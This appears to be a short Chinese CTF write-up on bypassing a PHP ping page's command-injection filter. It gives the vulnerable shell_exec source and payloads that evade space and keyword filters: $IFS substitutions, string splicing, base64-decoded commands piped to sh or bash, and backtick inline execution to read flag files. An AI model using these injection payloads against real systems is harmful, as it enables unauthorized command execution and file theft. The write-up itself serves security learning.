linux繞空格和字符

題目源碼

/?ip=

PING 1 (0.0.0.1): 56 data bytes
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "

";
  print_r($a);
}

?>

 

空格

#%20(space)、%09(tab)、$IFS$9、${IFS}$9、 {IFS}、IFS  IFS是分隔符
cat flag.txt
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt

 

字符

# 字符串拼接繞過
?ip=1;a=g;cat$IFS$1fla$a.php;
# base64繞過
?ip=1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

?ip=1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|bash

 

內聯執行 (需要把ls的輸出結果flag.php)

ip=127.0.0.1;cat$IFS$9`ls`

內聯，就是將反引號內命令的輸出作爲輸入執行。

 

Bash和sh的區別

sh 遵循POSIX規範：“當某行代碼出錯時，不繼續往下解釋”。bash 就算出錯，也會繼續向下執行

sh可以理解爲bash的子集，sh是特殊的bash